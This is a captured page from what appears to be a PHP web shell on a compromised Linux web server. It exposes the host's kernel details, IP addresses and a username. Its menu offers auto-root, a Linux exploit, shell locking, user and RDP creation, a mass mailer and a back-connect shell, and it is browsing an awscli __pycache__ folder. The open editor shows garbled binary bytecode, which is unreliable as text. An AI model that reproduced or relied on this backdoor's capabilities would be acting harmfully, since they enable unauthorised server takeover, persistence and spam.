Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
awscli /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
828
B
-rw-r--r--
__main__.cpython-310.pyc
258
B
-rw-r--r--
alias.cpython-310.pyc
9.08
KB
-rw-r--r--
argparser.cpython-310.pyc
6.08
KB
-rw-r--r--
argprocess.cpython-310.pyc
15.07
KB
-rw-r--r--
arguments.cpython-310.pyc
15.61
KB
-rw-r--r--
clidocs.cpython-310.pyc
23.19
KB
-rw-r--r--
clidriver.cpython-310.pyc
18.64
KB
-rw-r--r--
commands.cpython-310.pyc
1.89
KB
-rw-r--r--
compat.cpython-310.pyc
12.12
KB
-rw-r--r--
completer.cpython-310.pyc
4.06
KB
-rw-r--r--
errorhandler.cpython-310.pyc
2.46
KB
-rw-r--r--
formatter.cpython-310.pyc
7.38
KB
-rw-r--r--
handlers.cpython-310.pyc
7.21
KB
-rw-r--r--
help.cpython-310.pyc
13.29
KB
-rw-r--r--
paramfile.cpython-310.pyc
8.15
KB
-rw-r--r--
plugin.cpython-310.pyc
1.68
KB
-rw-r--r--
schema.cpython-310.pyc
5.35
KB
-rw-r--r--
shorthand.cpython-310.pyc
13.28
KB
-rw-r--r--
table.cpython-310.pyc
12.13
KB
-rw-r--r--
testutils.cpython-310.pyc
31.32
KB
-rw-r--r--
text.cpython-310.pyc
2.88
KB
-rw-r--r--
topictags.cpython-310.pyc
9.45
KB
-rw-r--r--
utils.cpython-310.pyc
8.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : shorthand.cpython-310.pyc
o @&�atD � @ s� d Z ddlZddlZddlmZ e� ZG dd� de�ZG dd� de�Z G dd � d e �Z G d d� de �ZG dd � d e�ZG dd� de�Z G dd� de�ZG dd� de�ZdS )a� Module for parsing shorthand syntax. This module parses any CLI options that use a "shorthand" syntax:: --foo A=b,C=d |------| | Shorthand syntax This module provides two main classes to do this. First, there's a ``ShorthandParser`` class. This class works on a purely syntactic level. It looks only at the string value provided to it in order to figure out how the string should be parsed. However, because there was a pre-existing shorthand parser, we need to remain backwards compatible with the previous parser. One of the things the previous parser did was use the associated JSON model to control how the expression was parsed. In order to accommodate this a post processing class is provided that takes the parsed values from the ``ShorthandParser`` as well as the corresponding JSON model for the CLI argument and makes any adjustments necessary to maintain backwards compatibility. This is done in the ``BackCompatVisitor`` class. � N)�is_document_typec @ s e Zd Zdd� Zdd� ZdS )�_NamedRegexc C s || _ t�|tj�| _d S �N)�name�re�compile�UNICODE�regex)�selfr � regex_str� r �2/usr/lib/python3/dist-packages/awscli/shorthand.py�__init__3 s z_NamedRegex.__init__c C s | j �|�S r )r �match�r �valuer r r r 7 s z_NamedRegex.matchN)�__name__� __module__�__qualname__r r r r r r r 2 s r c @ s e Zd Zdd� ZdS )�ShorthandParseErrorc C s� | j d| j}}}d| j d | j� v r&| j d | j� �d�}| j| d }d| j | jd � v rL| j| j | jd � �d� }| j d |� }| j |d � }d|d| d |f S )N� � � z%s %s%s� �^)r �index�rindex)r �consumed� remaining� num_spaces�last_newline�next_newliner r r �_error_location= s z#ShorthandParseError._error_locationN)r r r r"